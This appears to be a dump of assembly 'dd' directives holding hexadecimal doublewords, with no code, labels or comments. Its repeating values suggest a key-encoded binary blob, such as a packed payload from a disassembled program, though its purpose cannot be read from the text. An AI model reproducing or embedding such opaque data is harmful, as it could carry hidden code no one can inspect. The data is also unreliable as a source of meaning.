		dd 32156614h, 0C1D0E132h, 0BA1A0747h, 3215663Dh, 32078E71h
		dd 3CAD6688h, 49C8FA81h, 7AC09AB2h, 209A5ACh, 0AD75F038h
		dd 0F594001Fh, 0BB745CDCh, 82660194h, 3398698Eh, 0CE156644h
		dd 24A4E3E4h, 0DB5A60B8h, 3215668Fh, 6300F799h,	5A97BDD6h
		dd 0A520F6C5h, 32156E61h, 56469C44h, 27583977h,	67A099F4h
		dd 3D13CF89h, 32156ECEh, 6C420622h, 2831DD77h, 1490EBE9h
		dd 0DB13CF78h, 32156625h, 0FAA26A2Eh, 0CA9CC256h, 0BBE0B6BBh
		dd 82660DA7h, 32018F17h, 8C6688h, 405BB00Ah, 3C5522C6h
		dd 0F866B24Ch, 0F07B74ADh, 0B7D33E81h, 34BC7093h, 0B373065Eh
		dd 8A740041h, 69FC945Bh, 31976943h, 52156611h, 307D0770h
		dd 3DEC084Ah, 321573AFh, 39FC0611h, 0DF156688h,	9DD20E57h
		dd 9F50F6Ch, 0B973F8BCh, 87EA0776h, 34BC6711h, 3218E32Dh
		dd 3D756611h, 32156609h, 0C2940044h, 0BF74C1A2h, 9B294094h
		dd 0E2EA9A8Eh, 32156BADh, 0A0574D22h, 0AC102F5h, 56869535h
		dd 0B79CA1D1h, 34A5154Dh, 321DEB1Eh, 0BC1A6688h, 32156646h
		dd 0B7D30742h, 34BC70A0h, 32128FC5h, 1F46644h, 9776814Ah
		dd 4B5C0ED2h, 0CDEDAEBFh, 9B1433F1h, 32048F24h,	0A5406611h
		dd 0D06D84AFh, 0BBD09B97h, 0CC252C30h, 0BFD27A59h, 9B29400Dh
		dd 0E2EA9A42h, 3214E62Dh, 0BBEC6611h, 8266110Dh, 0B7D39E42h
		dd 34BC7093h, 0C89E065Ch, 7F9C0EE9h, 0DB75BAB3h, 32156629h
		dd 0B6F05437h, 1B7E8032h, 860253A7h, 0CE75071Fh, 87EA07E8h
		dd 34BC67DDh, 3219E54Bh, 0BA1A6622h, 32156617h,	3215E987h
		dd 0B51A6644h, 32156623h, 1490EBE4h, 0CE13CFB4h, 3D75B6BBh
		dd 321560A2h, 329D6911h, 52156688h, 0EC943914h,	3A832243h
		dd 0B79C0770h, 34A515FBh, 32156CADh, 52DDFF22h,	0C21EC480h
		dd 0F48A948Ah, 9B03D7C1h, 0B41A3324h, 32156610h, 1F220E7Dh
		dd 0BD1AFA5Fh, 3215662Eh, 3213E71Eh, 0B71A6688h, 32156644h
		dd 321576CBh, 0C64B1011h, 586F2A6h, 958F666Ch, 9C1C5D9Eh
		dd 67A09917h, 0DB13CF89h, 3215664Ah, 0E5F26AADh, 421CF33Fh
		dd 14A3D46h, 0B798284Ah, 34BC5A04h, 321575F8h, 0F296CE88h
		dd 0CA25121Dh, 80903110h, 0F4CEDEA1h, 0F42AFA97h, 321563ADh
		dd 2894D822h, 0E2EA122Eh, 319E69E8h, 54156644h,	37FC9DA9h
		dd 0BE156611h, 0EF409438h, 4990EF25h, 0CB13D651h, 3211E81Eh
		dd 52756688h, 0B7D30725h, 34BC7093h, 187D9A52h,	52C7B378h
		dd 0B9735CF7h, 3CFC07D9h, 52156611h, 2AF576F0h,	0AEC76BE9h
		dd 0FC0C0342h, 67A09973h, 0CE13CF89h, 0E33E3C9h, 0DBEC608Bh
		dd 3215661Dh, 38DC4A4h,	8C17E2A9h, 0EC70D911h, 0BC1AB6EEh
		dd 32156690h, 3207EA4Bh, 3FFC6622h, 6A156611h, 1CC48BA4h
		dd 8A73B12Bh, 3CED2AA3h, 4D90EFE4h, 0CA13D6FBh,	24A4E382h
		dd 5247608Bh, 3214E31Eh, 3DED6688h, 32157EC8h, 32068F22h
		dd 0A6486611h, 25F10510h, 8151130Bh, 0C72842B1h, 59862E6Ah
		dd 0B31A07ACh, 3215665Ch, 321575CBh, 0A2947211h, 2C35460Ah
		dd 7F1AE103h, 4E24BFE7h, 0AE146C24h, 70A18CE0h,	32188FB9h
		dd 0C4886622h, 0CB9D4F9Fh, 0F4325DEAh, 0CDD375E7h, 9B143397h
		dd 8D730617h, 0EC941343h, 64ACF30Dh, 0B7989A43h, 34BC5A37h
		dd 32048FE8h, 0BB816644h, 66315A81h, 0F821523Fh, 127DA58h
		dd 53199D37h, 0B51AB6DDh, 32156616h, 3FE9DEE8h,	0BB7419E3h
		dd 9B332BA7h, 0B7D39E17h, 34BC7039h, 321E8F03h,	0C54E6622h
		dd 65E92C27h, 2730B9D7h, 6B8C0E49h, 21FC84BAh, 76156611h
		dd 714EB4FAh, 8F4930E9h, 574CE52Dh, 3643A399h, 3D75C2CBh
		dd 0F29491FBh, 73877C22h, 67A09970h, 0CB13CF89h, 0E33E3C9h
		dd 5475608Bh, 3D75AE9Ah, 32156607h, 0F8940044h,	5374C0B7h
		dd 0B91AB6EEh, 32156691h, 321572ADh, 375E8822h,	98354A2Ch
		dd 74175A89h, 0E9E0FB25h, 0D6312A0Fh, 0B190EFD7h, 0DB13D6FBh
		dd 32156641h, 470764F2h, 8390A0B8h, 7513CF9Eh, 3214E34Bh
		dd 0DBEC6622h, 32156614h, 6EF7C32h, 52D70EA4h, 0BE1AD7DFh
		dd 32156608h, 32157261h, 65E64744h, 0FF6EFE1Eh,	7F68DB3Bh
		dd 52EB7EB3h, 0F6BEDAF3h, 67A09969h, 0DB13CF10h, 3215668Fh
		dd 153DE2A7h, 0BFF91F4Fh, 9B294094h, 21FC068Eh,	0D156644h
		dd 0E9A7181Ah, 0DD8E81C1h, 0F5B5DA3h, 3E4BD8A3h, 23FC25A6h
		dd 9A156611h, 0A26F3179h, 27328661h, 642D81B5h,	8EA88520h
		dd 52C599E9h, 0C07971FAh, 0EAA26918h, 0B590EF70h, 0DB13D6FBh
		dd 3215664Fh, 44A1E9C3h, 0DCE60490h, 0F4F7CEEFh, 9B03D7C1h
		dd 0B91A2124h, 3215661Bh, 32156361h, 0DDDAD544h, 267D693Dh
		dd 3DCAC0EFh, 32157408h, 32188F44h, 90416622h, 0D39DC761h
		dd 0B4B0DA11h, 0CDC5966Dh, 9B143397h, 32198F17h, 0EE606688h
		dd 5D992BF0h, 935B3187h, 0CA7529EFh, 1490EBE9h,	3D13CF78h
		dd 321567A7h, 0E2EA9F11h, 0B990EF7Dh, 3D13D637h, 321570AFh
		dd 32048F11h, 6EC36688h, 5ED81B79h, 0BAE89A5Ah,	99457E5Ch
		dd 0F4E3BD00h, 9B03D7C1h, 39FC3924h, 0BB156611h, 0B19F2055h
		dd 79CB3FAEh, 5A7DF537h, 0DB8B36E3h, 3215668Fh,	0B5515F18h
		dd 0CD6BC400h, 9B1433A4h, 3998698Eh, 0DB156644h, 32156624h
		dd 436EBA33h, 0B798AC7Eh, 34BC5A62h, 0DA0DD442h, 3215661Eh
		dd 0F25102DCh, 500FF494h, 96A641BCh, 0DBA8D29Dh, 32156683h
		dd 8A0AC27h, 2B44863Dh,	6A914F83h, 52C599E9h, 0A405D922h
		dd 26FC07D7h, 0BE156611h, 31E95019h, 9670EB43h,	4E635F2Ch
		dd 7879D181h, 0BB3B3EC2h, 8266E9C1h, 32018F24h,	7DF06611h
		dd 0DF710DDBh, 790AAD7Dh, 0F4095F66h, 413B0B8Bh, 0B7D3688Ch
		dd 34BC70F5h, 0F294066Dh, 68897554h, 1EBF4530h,	0D7D0712h
		dd 3DD29A59h, 3215779Eh, 32198F88h, 297D6644h, 2D18CEFAh
		dd 0F99D5D4Ch, 0BA1AD454h, 3215664Ch, 3217E22Dh, 53756611h
		dd 3340D377h, 0B91A60EDh, 3215662Eh, 3213E61Eh,	0BE1A6688h
		dd 32156644h, 0E33E3AFh, 0B91A60B8h, 3215668Fh,	3214E24Bh
		dd 52ED6622h, 6B740646h, 32156A61h, 0FCDA6A44h,	0D6A6811Ah
		dd 271DE876h, 0E2EA073Ah, 321577ADh, 1029C722h,	0A99D8D68h
		dd 0EB878FE6h, 0ABFEDE24h, 0B79C11F4h, 34A515AAh, 8390A07Dh
		dd 7513CF52h, 0B87506DAh, 0C09E00E8h, 5A749EE9h, 0C84E0808h
		dd 3214E92Dh, 0CDE06611h
		dd 9B14333Dh, 3E9A6942h, 0DB156622h, 32156616h,	7AB4D639h
		dd 0DB2D800Dh, 32156632h, 12AFF09Bh, 964735A0h,	0BFA5CB89h
		dd 65D726CAh, 0E33E39Ch, 0CDE96021h, 3DE00694h,	0BB74A495h
		dd 8266D994h, 321A8F8Eh, 97D96644h, 0DB2C0DF4h,	3E30422Ah
		dd 6EAFFCBDh, 8390A065h, 7513CF34h, 32156EF8h, 9F243E88h
		dd 56DE1668h, 16D80E6Fh, 0B01AA517h, 3215668Ch,	53740624h
		dd 32048F42h, 911D6611h, 0E203E865h, 9B88CBACh,	0B50694ECh
		dd 54B2FBDAh, 0CD74B603h, 9B1433F1h, 35966924h,	3D156611h
		dd 32156703h, 0B7989E44h, 34BC5A04h, 3204E11Eh,	3EFC6688h
		dd 31156644h, 0E44E7162h, 0E5BBE80h, 0CD6F34A9h, 239C6994h
		dd 3D156622h, 32156D9Fh, 32138F88h, 0DA436644h,	1BD7CCC1h
		dd 41D6E398h, 0F4E96038h, 9B03D7C1h, 52753924h,	54EFED77h
		dd 0B374B503h, 0F08E6F8Ch, 0FE7D0753h, 3DC1DD71h, 32156C01h
		dd 6B420644h, 42CBAFA3h, 0CD7451E6h, 9B14333Dh,	259A6942h
		dd 0DB156622h, 32156603h, 3C3C6AF1h, 0D4052860h, 88EA7CE3h
		dd 7CB26ADEh, 0B7987B79h, 34BC5A62h, 321577CBh,	0BC61D911h
		dd 0FB427037h, 34B1B10h, 86691CD9h, 0E2EAD7BCh,	0A190EF74h
		dd 3D13D637h, 321573A9h, 32058F11h, 0A5466688h,	5002E741h
		dd 1ACF741Bh, 6F17BBBCh, 0B7D3BAE8h, 34BC70F5h,	0DA45067Dh
		dd 3215661Dh, 985D8AC3h, 0A12B453Dh, 5C632D23h,	5A743D4Ah
		dd 0ACFC32C6h, 32156DADh, 0ABC6F822h, 0F584197Fh, 0ED56646h
		dd 3340D3BBh, 3D75608Bh, 32156792h, 0E39E9F88h,	1490EB25h
		dd 5213CF1Eh, 54DFA791h, 536F8931h, 0B11AB6BBh,	32156623h
		dd 0A590EFE8h, 0DB13D6FBh, 32156641h, 35A69EB5h, 8390A06Ch
		dd 6D13CF9Eh, 32156DADh, 0CC9D9E22h, 0D5D57741h, 80923203h
		dd 213D2E2Ch, 279E69F3h, 0DB156611h, 32156698h,	3DFAD919h
		dd 814DE307h, 0C1762F6h, 2265AD74h, 3340D3BBh, 26FC608Bh
		dd 86156611h, 2C3C5A1Eh, 77E582AAh, 7EC55C7Eh, 78E39788h
		dd 0BF62AA34h, 9B2940C1h, 32048F24h, 23646611h,	0BE717A7Fh
		dd 591DB2B0h, 960EA2D9h, 0CD3FFB65h, 89E90658h,	5D2EFF6Fh
		dd 0A990EF43h, 3D13D662h, 32156902h, 321F8F44h,	0EEAB6622h
		dd 99892D26h, 7FFA4BECh, 34FC622Eh, 6156622h, 61A70010h
		dd 22150EF4h, 35FC6644h, 0B4156622h, 17710509h,	327DBAC4h
		dd 52156654h, 0DBD2ED44h, 32156602h, 2BFB6B79h,	0AD24DC05h
		dd 0EC145A8Ch, 15410DB2h, 534B4551h, 35FC662Eh,	87156622h
		dd 0C7819E33h, 0A7EAEAC4h, 34BC770Dh, 321DE92Dh, 0BF1A6611h
		dd 3215668Ah, 0B79C0724h, 34BC528Fh, 3214EC1Eh,	0BFED6688h
		dd 8274C9C1h, 359C6924h, 3D156611h, 32156702h, 0CDE09A44h
		dd 887306F2h, 5874FE33h, 327D9F8Ch, 52156654h, 0F5AA6972h
		dd 0BA1A074Fh, 32156689h, 12150EBDh, 52E96622h,	32156EF9h
		dd 86EB6288h, 743F0AD3h, 32198EFBh, 0AB0E6611h,	0BB68072Eh
		dd 532BE7BEh, 6C4A4107h, 58749C9Ah, 23FC0688h, 0FE156644h
		dd 988BC975h, 4BCC9B6Eh, 392A51B8h, 0B584D97Bh,	7B809943h
		dd 3D13CF00h, 32157300h, 3D9C6944h, 0DB156622h,	3215661Bh
		dd 465F58A0h, 17753AEFh, 0B01A7AD2h, 32156616h,	6290DFE8h
		dd 0BB7467CFh, 9B1047A7h, 3C9E6917h, 0DB156688h, 3215664Dh
		dd 8B47C0DAh, 324804C2h, 32058F71h, 54E96644h, 0D371F965h
		dd 731F138Ch, 27786D8Dh, 0B79CAEC1h, 34BC7ACFh,	321560F8h
		dd 40FA888h, 0CE793C33h, 3EFC2648h, 7D156611h, 9778BDBDh
		dd 6258D6A9h, 5A969A94h, 32157611h, 32018F70h, 0B2806644h
		dd 0C374B4F2h, 0F22B98BFh, 0B5A39B02h, 9229D970h, 327D1B4Eh
		dd 52156711h, 90B2C37h,	53DAED1Dh, 3BFC6648h, 85156611h
		dd 6F8923B8h, 51EB0B6Eh, 0C0940042h, 5EA3C912h,	7B8099E9h
		dd 0CE13CF55h, 3970E3ABh, 0B9E960B8h, 9B160B3Dh, 0AF9E9E42h
		dd 34BC523Fh, 0DFA0EFEDh, 0DB13CFBCh, 3215664Ch, 0A64979A4h
		dd 7B844F88h, 32156B61h, 789BBF44h, 0EA0D2386h,	973ABD6Eh
		dd 0AF9C409Fh, 34BC4E8Dh, 321563CBh, 37052511h,	0AF9E0FDCh
		dd 34BC5259h, 32AF34D7h, 33156611h, 32AE3552h, 33156644h
		dd 691EEDF1h, 0CB969F4Bh, 5A916988h, 5215667Eh,	53D5D12Dh
		dd 323F6E79h, 1611EF88h, 32156BADh, 1AD6CF22h, 0A5F8246Dh
		dd 6120D167h, 0EC7D3D6Dh, 0BB156640h, 38FC421Dh, 9A156688h
		dd 0CA4905D4h, 5C650F9Ch, 547506E1h, 84097432h,	0F2240767h
		dd 321575CBh, 0EC69A211h, 20E1C4B8h, 38029F83h,	3E80E5C9h
		dd 0DBAC0E14h, 1F1CE301h, 39FC60EDh, 88156622h,	2E2A5401h
		dd 555837A4h, 894687C5h, 3215661Eh, 2E9EB898h, 36D1E7ACh
		dd 0CA156644h, 3A65DD71h, 0EC1454D0h, 166165D3h, 42FBE764h
		dd 0CE27A72Ah, 38FCCB77h, 5D156688h, 8F67D720h,	216B9DD7h
		dd 3E996922h, 3D156688h, 321560CDh, 329F6922h, 37156611h
		dd 0D0238ACh, 9344AC69h, 1651652Ch, 63DF6331h, 16386829h
		dd 0CB2A711Ah, 5F2E642h, 321568F8h, 0D9996F88h,	0F5F0E1D9h
		dd 8AC182E0h, 537ED77Eh, 326DDCDAh, 0F0146644h,	269E54A9h
		dd 36D1E735h, 0DB156688h, 32156654h, 59A806A6h,	0FA54314Fh
		dd 999437B0h, 7796FD4Fh, 164D88A3h, 46167DB2h, 8D4246ACh
		dd 0AAA1750h, 431889A3h, 0DDD46B90h, 0C7E2E780h, 0B356DC4Ah
		dd 8445DED5h, 0C7FAE70Fh, 3354E2B3h, 3D7539BAh,	0CD749C9Dh
		dd 6947E67h, 3C2B04ACh,	1629ED01h, 0B311A2A1h, 3C2B04E6h
		dd 3E9E69CDh, 3D156644h, 321560A5h, 32936911h, 0BB156688h
		dd 9B342BF9h, 0B9730624h, 0E6CCD8D0h, 0B774083Fh, 609069BBh
		dd 3D156622h, 32156A9Ch, 34996988h, 3D156644h, 321566A4h
		dd 50B18E11h, 35FC6688h, 56156644h, 15C5FD78h, 21FC1F54h
		dd 0AF156688h, 0F8EE0738h, 850FEFFFh, 5887A6E7h, 0A38CCA6Bh
		dd 8DFC345Dh, 0CB156627h, 321EEA1Eh, 54756688h,	0BC1AA0CFh
		dd 32156622h, 0D49C3070h, 3211A009h, 0DC966644h, 1621E126h
		dd 1619EF4Dh, 0CB9C3770h, 0BBDAEF13h, 3D4C39D8h, 32156190h
		dd 33966988h, 0CB156644h, 3D11B449h, 32156198h,	33936988h
		dd 0CB156644h, 270CF3ABh, 58EC60B8h, 279E698Ch,	0DB156644h
		dd 32156632h, 119A40FCh, 0D45B64FCh, 9E01ED63h,	8E4B88DAh
		dd 32056679h, 32048F88h, 41496644h, 239A6270h, 0AF93D14h
		dd 983B746Dh, 5A4DB52Bh, 32155F85h, 0DB317298h,	3215669Ch
		dd 73F6B37Dh, 6561F07Eh, 0CAB1F996h, 0DDBEE3BEh, 67062EBFh
		dd 0C29E0042h, 0CC5FDD71h, 0E2AE1CB7h, 53366A34h, 52150C43h
		dd 62FFB690h, 38FC7C1Bh, 17156644h, 0AA3A9E81h,	0F26D56E5h
		dd 0A7EA078Ch, 34BC770Dh, 2F13DF42h, 851A62B3h,	0B79C0753h
		dd 34BC4CCDh, 321D8E42h, 11CE6611h, 0D30904E8h,	0B71AA621h
		dd 32156622h, 0B875074Bh, 0ED94004Eh, 0B1746CE2h, 369C62CEh
		dd 0BA1A3C35h, 32156680h, 0B5AF9324h, 5364EAF3h, 321BED1Eh
		dd 3BFC6688h, 0EC156644h, 0B19E72AAh, 6E987E4h,	6B315277h
		dd 3D11A2C7h, 321576A5h, 321E8F11h, 8AC56688h, 98F94B3Fh
		dd 3FFA0BB7h, 53318E1Dh, 54756688h, 0B3C6DDFBh,	4F1438E8h
		dd 0BB440740h, 36D4E769h, 0B1156644h, 3E9262CBh, 69C3A35h
		dd 32058FACh, 16456644h, 69B5C73Ah, 0FDEDA5E8h,	686A552h
		dd 22FC1CDFh, 52156622h, 584C78CBh, 5013BCF0h, 0D49B9B16h
		dd 9F6D27C5h, 37926971h
		dd 54156688h, 0A76FB9C5h, 75AA3143h, 1B2C1A24h,	76163970h
		dd 75104260h, 0C72C1A17h, 369E3141h, 36D1E7ACh,	6D156644h
		dd 0F39E9A42h, 0B3423470h, 4E58428Ch, 0B34F7911h, 67692BC8h
		dd 68C6EF0Eh, 13130E7Dh, 0E9C6644h, 0C99E0606h,	0F22507E9h
		dd 32048EE8h, 3326644h,	787F2540h, 86E00AE9h, 0A63AC2ECh
		dd 82CC6E26h, 3CFD3DDBh, 0D8156611h, 41C41E0Fh,	0E19F9075h
		dd 458E69E7h, 9C743CB8h, 35FC9BFDh, 9A156644h, 0FA189535h
		dd 39FC6385h, 41156688h, 6DB65408h, 709D8AA9h, 5475D090h
		dd 8D1AAC03h, 22FC078Ah, 0D9156622h, 87B1DCC3h,	0D87397Ch
		dd 66BC75F8h, 0CD042CBFh, 0B34B4225h, 3215624Ch, 0B71A0644h
		dd 32156627h, 0BCB4FCA8h, 339969BDh, 0C7156644h, 0DD949F43h
		dd 3FD91915h, 55B58909h, 0ED3C0EADh, 55B5A1A3h,	0F5940EF8h
		dd 3FD9198Ch, 3214E64Bh, 3DED6622h, 32157C9Eh, 3DFC0688h
		dd 0FB156644h, 90168FB3h, 9C3AB8C4h, 0FED779C4h, 8C73D9F9h
		dd 5A747B94h, 32154083h, 0C7317201h, 0CF9C3315h, 0BB488FABh
		dd 0DB753FDBh, 3215669Ch, 0FF46218h, 5E9388B2h,	0F5E1DBFAh
		dd 9E764673h, 0CFE0C15Dh, 321576CAh, 92126611h,	868625C9h
		dd 0E6C2CBEEh, 0F5854A6Fh, 329069D6h, 6A156688h, 32048F25h
		dd 0B7526622h, 0C102CE33h, 3781AE85h, 68CDEB64h, 0B94CD095h
		dd 9B21CBACh, 3391698Eh, 0CA156644h, 0CDEA999Bh, 54759AEEh
		dd 0C295B003h, 0F22407F4h, 32156BCBh, 3CB7F411h, 33240267h
		dd 6D5AE3Dh, 89464E94h,	32156611h, 8B449589h, 32156644h
		dd 339FBF23h, 54753D48h, 0FF118409h, 0CEDD5625h, 0CDEAD975h
		dd 0CC3C99EEh, 32128FD7h, 0CF856644h, 0D381256h, 0CD740670h
		dd 369EE1BCh, 36D1E560h, 3205E12Dh, 39FC6611h, 7E156688h
		dd 5D6DF303h, 0B85D2AD3h, 0DBD484E4h, 38FC0680h, 0F0156644h
		dd 67A081A8h, 0CE6D457h, 32108F6Bh, 0EF0D6644h,	539775FDh
		dd 0B81AA720h, 3215669Eh, 321577ADh, 0C3DBC022h, 5295E38Ch
		dd 0AAB26051h, 0A237FBB8h, 3D5FBD9Fh, 0CDEA3394h, 9AA10677h
		dd 3D16D924h, 0C39E3B1Ah, 0CE7D0770h, 0BB156692h, 36944248h
		dd 2C351806h, 4C383E55h, 525178A8h, 37C5E6BCh, 36F9E743h
		dd 0BB156611h, 26E2428Ch, 3D753E60h, 321562ACh,	37AD0011h
		dd 6EA0752h, 0F6963C60h, 0BB449F26h, 32AE35D0h,	33156688h
		dd 691EEF97h, 3395697Bh, 0CE156611h, 3211DDDBh,	0E8146644h
		dd 0B3317AA9h, 321562D5h, 807D9A88h, 0BB15660Ah, 0CDE94236h
		dd 9B386F94h, 0A79E938Eh, 34BC4B4Dh, 320CE72Dh,	26FC6611h
		dd 0E8156688h, 0CD109BD7h, 4DEB379Dh, 90D580F0h, 0ADB73B2Ch
		dd 0B16496Dh, 9B342BB7h, 8A916917h, 0DB156688h,	32156657h
		dd 0D92A31FEh, 0EB239277h, 0AD203D04h, 11811806h, 3D747CC9h
		dd 3215779Fh, 32198F88h, 0A53C6644h, 102042A9h,	0AD39C469h
		dd 269EA8BBh, 0D29C3660h, 32156227h, 32116311h,	36926688h
		dd 3BFC3A60h, 30156622h, 0D95F691Fh, 0AB1F5BCBh, 673152CFh
		dd 0F79483ABh, 32156615h, 3211A309h, 1E926644h,	0B3753A06h
		dd 0BCF16DE0h, 53CBEDBEh, 3223192Ch, 1639EF22h,	321562ACh
		dd 6FFB6788h, 0F59E0024h, 321569CAh, 0B2BC5111h, 90445D2Ch
		dd 0DE083F0Fh, 72F15898h, 9FF6E777h, 0DB743D15h, 0CDEA9A62h
		dd 321568CBh, 41BE8F11h, 6F55EF7Bh, 0A52BD962h,	0B9BE0A64h
		dd 0BB454205h, 32116368h, 36106644h, 0B5156622h, 52494215h
		dd 0CC39DDEEh, 3213EA4Bh, 0B01A6622h, 32156611h, 1621EDE9h
		dd 0B3F0EF11h, 321562E7h, 36D0E711h, 0B5156688h, 0DB494268h
		dd 32156629h, 448FDF7Ah, 342B2A97h, 3DF02D4Ah, 32157BA4h
		dd 26FC0611h, 2156688h,	0ADCCDDF9h, 0F28AA5A4h,	36690CF4h
		dd 10F68609h, 0B9F342E2h, 0CB7407E4h, 162199E8h, 36D1E5D1h
		dd 3210E74Bh, 54756622h, 0B9749D9Ah, 0BB43428Ch, 36D3E7A2h
		dd 0B3156622h, 321562D7h, 1621E188h, 0B9730618h, 53E2ECF4h
		dd 321BE71Eh, 3BFC6688h, 0BB156644h, 4F00B3C1h,	3ED01844h
		dd 35D8E34Fh, 321560EDh, 34FC6622h, 28156611h, 0C2E78BF7h
		dd 0D390A147h, 3213CF03h, 52156611h, 8D1A303Dh,	8F96078Fh
		dd 34A51521h, 7916911h,	52156688h, 532AD7B8h, 0AED2FBAFh
		dd 0DB7560BEh, 32156685h, 2809ABE9h, 86734D6Eh,	2100AD8Eh
		dd 0F4A26918h, 38996925h, 52156622h, 0C47C9190h, 0FC9E76ABh
		dd 0CEC69925h, 3A5CE3DDh, 3DFC60B8h, 82156688h,	5CC1C494h
		dd 0EAF30FEEh, 9C5C669Ch, 8F96E3CEh, 34BC6E0Dh,	4F976946h
		dd 0C7156613h, 3A5CE34Fh, 321460EDh, 0DB756622h, 3215661Dh
		dd 772406A0h, 3D43F847h, 2B2B8F80h, 3211E91Eh, 8B736688h
		dd 52747433h, 3214EA2Dh, 0CBE96611h, 727CE305h,	0B97560F4h
		dd 379D69EDh, 88156611h, 1CCF23F5h, 0CEC59925h,	41C6D3AFh
		dd 0BD1A60A1h, 3215669Bh, 39FC9E24h, 93156622h,	0CC0B5FB7h
		dd 2DE558A6h, 0BF747B42h, 8317759Fh, 321D8F17h,	87F6688h
		dd 3B75B61Ah, 3D754477h, 5447A9AEh, 6CB67732h, 4AD2E725h
		dd 1B70652Eh, 4AAD36E6h, 1B706584h, 23FC3E83h, 0B9156622h
		dd 0E2DEFA7Ah, 26A022FFh, 524610E2h, 475DFB90h,	1E943144h
		dd 38415FACh, 0F7943B77h, 11F321Bh, 0DB488C98h,	3215669Ch
		dd 5BBCD87Ch, 0EFC537DBh, 86D79116h, 0F7F72453h, 0C1A6C27Ch
		dd 6B8DBA9h, 3AFC60B8h,	0B9156688h, 210850C4h, 8BC956FAh
		dd 0CDEA99EEh, 0C1AA69E8h, 5327A2C4h, 0BB1AA613h, 32156610h
		dd 32AE3574h, 33156644h, 32AC37D1h, 33156611h, 6B14EC51h
		dd 32128F1Fh, 8CDF6622h, 0D4B91CDAh, 0DBDD566Dh, 3215664Dh
		dd 0F80F0C51h, 0CD9C4ED7h, 0CDAF349Bh, 1BEA99BBh, 86753CF4h
		dd 309B69E1h, 0B9156688h, 369E078Ch, 54759AA5h,	0C11E8C90h
		dd 6D662333h, 0DBD40767h, 8D1A062Ah, 53F4ECCAh,	321DE187h
		dd 3D756644h, 321566ADh, 0F3240711h, 32157261h,	9FC86044h
		dd 2FC57762h, 294414CCh, 9F1285FBh, 0EB099C76h,	0B71A2C98h
		dd 0CDEA9979h, 32157461h, 8BE24244h, 0A8D6756Ch, 7107529h
		dd 20629891h, 5239E7DCh, 321561CAh, 0A0C35C11h,	381F3258h
		dd 3215E64Bh, 534F6622h, 32776379h, 1619EF88h, 0BA1A061Ch
		dd 32156622h, 3211EF1Eh, 8A736688h, 0A574CFE2h,	0CA24B1D5h
		dd 0CA24A120h, 32157261h, 3D660144h, 69179DFBh,	805A3802h
		dd 67D99C0Ah, 1CAA7053h, 1F905FCFh, 3D13CF17h, 3215130Ch
		dd 32058F44h, 0D6736622h, 5F4857F9h, 8A41C86Fh,	2CBE88ABh
		dd 6340C85Ah, 321566A8h, 6BD8EF88h, 0DB488ECDh,	32156627h
		dd 0F00BD367h, 3DD56D9Dh, 321545C1h, 33916922h,	0C7156611h
		dd 32F4E34Fh, 321460EDh, 0BD1A6622h, 3215661Dh,	2FAC00E8h
		dd 329A69E6h, 53156622h, 703A0E44h, 7F487871h, 0B3178B85h
		dd 11616DCFh, 36F0A708h, 0A3AF9309h, 0DB148FD8h, 0CA749A7Fh
		dd 3255E379h, 1621EF88h, 0D16356FAh, 0B4D8DF77h, 0C3149B9Bh
		dd 3E9769D6h, 3D156644h, 321560ADh, 32976911h, 63156688h
		dd 6C58B6FDh, 0EEAA3152h, 0BB8ACC78h, 0F83C3972h, 52B8931Dh
		dd 52D3D12Dh, 156F34AAh, 3CAE00B6h, 0BB7407FCh,	9B218B97h
		dd 0C7750617h, 547407E8h, 79D595C5h, 0F8940643h, 64666FBFh
		dd 0DCAF34E9h, 0B3680E55h, 9B42EBE8h, 55F7E77Ch, 644CE18Ch
		dd 1B1393FAh, 0C5E3E717h, 0C53C5654h, 9DFBE756h, 0B34FDE66h
		dd 7C3DF6ECh, 16DBE75Ch
		dd 0B3355CBEh, 205D1682h, 6CE76778h, 0C63FA490h, 649C3865h
		dd 20FC3CB8h, 6F156622h, 36A458C0h, 0D00D292Ch,	3B3BC577h
		dd 0ACB34A59h, 0DCFB5B12h, 0B71A8866h, 32156698h, 3212E32Dh
		dd 0BC1A6611h, 32156689h, 0EF2BE7B1h, 3DC8BBFFh, 3215A594h
		dd 269C6988h, 52156644h, 321561CBh, 0C0674211h,	88DD6527h
		dd 0D8DABEC5h, 65747C51h, 321566AEh, 0B92BEF88h, 0F6944278h
		dd 32156626h, 3214E91Eh, 63ED6688h, 540BD812h, 0D4AC58E6h
		dd 33D45D88h, 0FC143879h, 20FC061Dh, 36156622h,	0FD4C5B71h
		dd 52FDCB3Dh, 977BF9B5h, 8F688B02h, 0FD9E0037h,	0DFA0EFE9h
		dd 5213CF70h, 6EAD0042h, 52749A06h, 32157261h, 55278E44h
		dd 817C755Eh, 0A97C0DB7h, 31651291h, 4DE1F35Fh,	53E5EDE5h
		dd 1F108F70h, 0CB756688h, 321569ADh, 76765E22h,	2FC90A00h
		dd 9C92A6F9h, 4390D270h, 0CC7B8F43h, 23FC99EEh,	2A156688h
		dd 0FEFDDFFDh, 6E3D4501h, 0C5A178DEh, 0BC791DC1h, 29AE3514h
		dd 1B107200h, 6911424Dh, 29D6E7D3h, 0CE107266h,	32F4E311h
		dd 0B01A60B8h, 3215669Fh, 3204E74Bh, 3EFC6622h,	88156611h
		dd 96E17A2Fh, 863AA2BBh, 0F30C3374h, 67E065D9h,	13408835h
		dd 6FFD4F3Ch, 0DC10B60Bh, 0DB6D4744h, 3215668Dh, 94DE5CBDh
		dd 22D5A791h, 3216E01Eh, 0CA756688h, 0CBDD5725h, 0D388EFDEh
		dd 3D13CF11h, 32156208h, 53750644h, 32155B43h, 0B11A6610h
		dd 32156758h, 892BE7B1h, 3DAEDD99h, 3214A594h, 0CB9E0688h
		dd 6BE50E25h, 269C6622h, 37C8DC35h, 34D21C95h, 48086399h
		dd 524F7013h, 321560F9h, 69FEC488h, 54CD2E1Eh, 9D2DBFA3h
		dd 349B694Ah, 3D156688h, 321566CDh, 89460722h, 32156615h
		dd 2E9EB889h, 36D1E760h, 52156622h, 5411B491h, 0B4F69709h
		dd 879C9F25h, 34BC52CFh, 321A8E71h, 43916688h, 0C9DC524Dh
		dd 0A11EA5B0h, 50AF2E4Dh, 32936976h, 6D156644h,	32188E42h
		dd 80F06611h, 0B744D258h, 0FE5D2888h, 684FB121h, 0B97407EDh
		dd 9B217B15h, 4AAA0642h, 61787248h, 69CBED77h, 652699E9h
		dd 0DB03D7FBh, 16694F3Ch, 0B34C3915h, 0DB03D749h, 3595695Ah
		dd 3D156622h, 3215679Eh, 0FF7D9388h, 0BB15664Eh, 0CA4F4226h
		dd 33916971h, 0CA156688h, 1611E716h, 4A102EBAh,	8BAB3049h
		dd 0B36FFFD3h, 59F9B982h, 6CE54FDFh, 209B69E4h,	0DB156688h
